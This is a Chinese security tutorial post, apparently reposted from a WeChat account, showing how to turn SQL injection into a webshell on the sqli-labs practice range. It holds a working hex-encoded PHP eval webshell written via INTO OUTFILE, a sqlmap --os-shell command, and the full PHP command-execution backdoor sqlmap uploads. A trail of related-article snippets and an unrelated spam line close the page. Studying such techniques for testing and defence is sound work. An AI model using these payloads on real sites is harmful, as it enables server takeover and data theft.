<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Sql注入getshell的幾種方式

    上官雨寶2022-07-11 08:00:00

    Sql注入getshell的幾種方式

    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell。

    一. into outfile

    利用條件

    1.此方法利用的先決條件

    • web目錄具有寫權限,能夠使用單引號
    • 知道網站絕對路徑(根目錄,或者是根目錄往下的目錄都行)
    • secure_file_priv沒有具體值(在mysql/my.ini中查看)

    2.secure_file_priv

    secure_file_priv是用來限制load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。在mysql 5.6.34版本以后 secure_file_priv的值默認為NULL。如下關于secure_file_priv的配置介紹

    • secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
    • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
    • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
    • 所以如果我們要想使用into outfile函數寫入一句話的話就需要將secure_file_priv 的值設為沒有值,那如何設置的?修改secure_file_priv 的值只能通過手動打開配置文件進行修改,不能直接使用sql語句進行修改

    (1)看secure-file-priv參數的值

    show global variables like '%secure%';
    

    如下,secure_file_priv 的值默認為NULL,則表示限制mysqld 不允許導入|導出

    (2)修改secure_file_priv 的值

    我們可以在mysql/my.ini中查看是否有secure_file_priv 的參數,如果沒有的話我們就添加 secure_file_priv = ' ' 即可

    此時再查看secure_file_priv的值如下已經變為空了

    設置完成后我們就可以利用這個函數來寫入一句話木馬

    寫入webshell

    我們以sqli-labs第七關為例

    1.注入點判斷

    輸入正確的語法正常顯示,錯誤的語法顯示說語法錯誤,頁面只存在兩種狀態,判斷為盲注。我們輸入?id=3')) and sleep(5) --+時長成功延時,所以注入點就為3')),我們輸入的字符被包含在單引號中,且單引號外有兩個雙引號包裹

    2.判斷列數

    我們使用order by 語句判斷列數,order by 3時,正常顯示,4時不正常,判斷為3列

    3.寫入webshell

    再如此前我們已經通過一些方法獲取到了網站的根目錄,則可以寫入一句話 “ ”。一句話建議進行十六進制轉碼(不用編碼也可以) 16進制轉換,16進制轉換文本字符串,在線16進制轉換 | 在線工具

    編碼后,然后在最前面加上 0x。如下我們將一句話木馬進行十六進制編碼后寫入了根目錄下的outfile.php文件中

    ?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
    

    成功寫入,這里網站的目錄要使用雙斜杠不然會寫不進去,第一個斜杠是轉義的意思,字符串解析不僅僅局限于C編譯器,Java編譯器、一些配置文件的解析、Web服務器等等,都會遇到對字符串進行解析的這個問題,由于傳統的 Windows采用的是單個斜杠的路徑分隔形式,導致在對文件路徑進行解析的時候可能發生不必要的錯誤,所以就出現了用雙反斜杠"\"分隔路徑的形式。不管解析引擎是否將反斜杠解析成轉義字符,最終在內存中得到的都是"",結果也就不會出問題了。

    4.連接webshell

    成功連接

    如果我們將 secure_file_priv的值為設置為null,我們在進行上面的寫入操作發現并沒有寫進去。

    所以沒有寫進去的情況有兩種:

    • 網站的路徑不對,或者沒有使用雙斜杠進行轉義
    • secure_file_priv的值不是為空

    二. --os-shell

    原理

    --os-shell就是使用udf提權獲取WebShell。也是通過into oufile向服務器寫入兩個文件,一個可以直接執行系統命令,一個進行上傳文件

    此為sqlmap的一個命令,利用這條命令的先決條件:

    • 要求為DBA,--is-dba(phpstudy搭建的一般為DBA)
    • secure_file_priv沒有具體值
    • 知道網站的絕對路徑
    • GPC為off,php主動轉義的功能關閉

    使用

    測試

    我們以sqli-labs第一關為例

    sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell
    

    sqlmap在指定的目錄生成了兩個文件(文件名是隨機的,并不是固定的):

    tmpbeewq.php    用來執行系統命令
    tmpuqvgw.php     用來上傳文件
    

    1.tmpbeewq.php的文件內容為

    <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
    

    訪問一下

    2.使用tmpuqvgw.php上傳文件

    我們上傳一個php的一句話后門

    訪問

    所以這兩種方式都需要知道網站的絕對路徑才行。

    補充:

    上面說了sqlmap寫入webshell的方式有三種,缺一不可

    web目錄具有寫權限,能夠使用單引號

    知道網站絕對路徑

    secure_file_priv沒有具體值(在mysql/my.ini中查看)

    在最近的一次護網中,我使用sqlmap寫webshell,知道了網站的根目錄,還是寫不進去。就是由于secure_file_priv的值為NULL。那怎么知道這個值是什么了

    --sql-shell

    我們可以先使用這個來執行一些sql語句,如這為實戰中的測試

    輸入sql語句

    select @@secure_file_priv
    

    提示為NULL

    所以就會出現,如下的錯誤

    文章轉自公眾號: 網絡安全學習圈

    sql注入webshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    id=10結尾,我們猜測可能是一個sql注入點。首先我們在id=10后面加上一個單引號’進行判斷。網站所呈現的內容是由代碼中寫入的sql語句調用數據庫中的內容進行一個呈現,例如我們剛剛看到的文字。而sql注入漏洞一般是由于程序員書寫的sql語句不規范所導致的安全事件。例如網站源碼中使用如下的sql語句進行查詢。發現10列的時候報錯,說明不足10列,我們繼續縮小范圍。發現會分別回顯第三列、第五列和第七列。
    一次無回顯不出網站庫分離的滲透測試
    Mssql 從測試到實戰
    2022-05-23 07:12:19
    支持主機存活探測、端口掃描、常見服務的爆破、ms17010、redis批量寫公鑰、計劃任務反彈shell、讀取win網卡信息、web指紋識別、web漏洞掃描、netbios探測、域控識別等功能。項目地址:http://sqlmap.org/3、多種數據庫管理工具工具一:HeidiSQLHeidiSQL 是免費軟件,其目標是易于學習。
    一、工具介紹glint 是一款golang開發的web漏洞主動(被動)掃描器,是目前為止跟上主流技術的測試工具,如有一下功能:1.xss AST語義檢測 配合瀏覽器爬蟲污點記錄檢測會測試特殊xss檢測2.SQL 注入檢測 (剛剛完成布爾類型檢測,錯誤型檢測,逐漸完善時間型和oob反鏈檢測)3.xray poc 腳本檢測(這個偷懶主要參照 https://github.com/jweny/pocas
    藍隊初級防護總結
    2023-01-09 10:11:55
    三. 網站被上傳webshell如何處理?工具方面比如使用D盾webshellkill,河馬webshell查殺,百度在線webshell查殺等工具對網站目錄進行排查查殺,如果是在護網期間可以將樣本備份再進行查殺。堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。
    堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。設置賬戶鎖定策略,比如說登錄行為限制次數,達到次數后鎖定多長時間。
    Advantech iView 多個不同類型匿名 RCE 漏洞分享
    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell。
    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell。
    上官雨寶
    是水水水水是
      亚洲 欧美 自拍 唯美 另类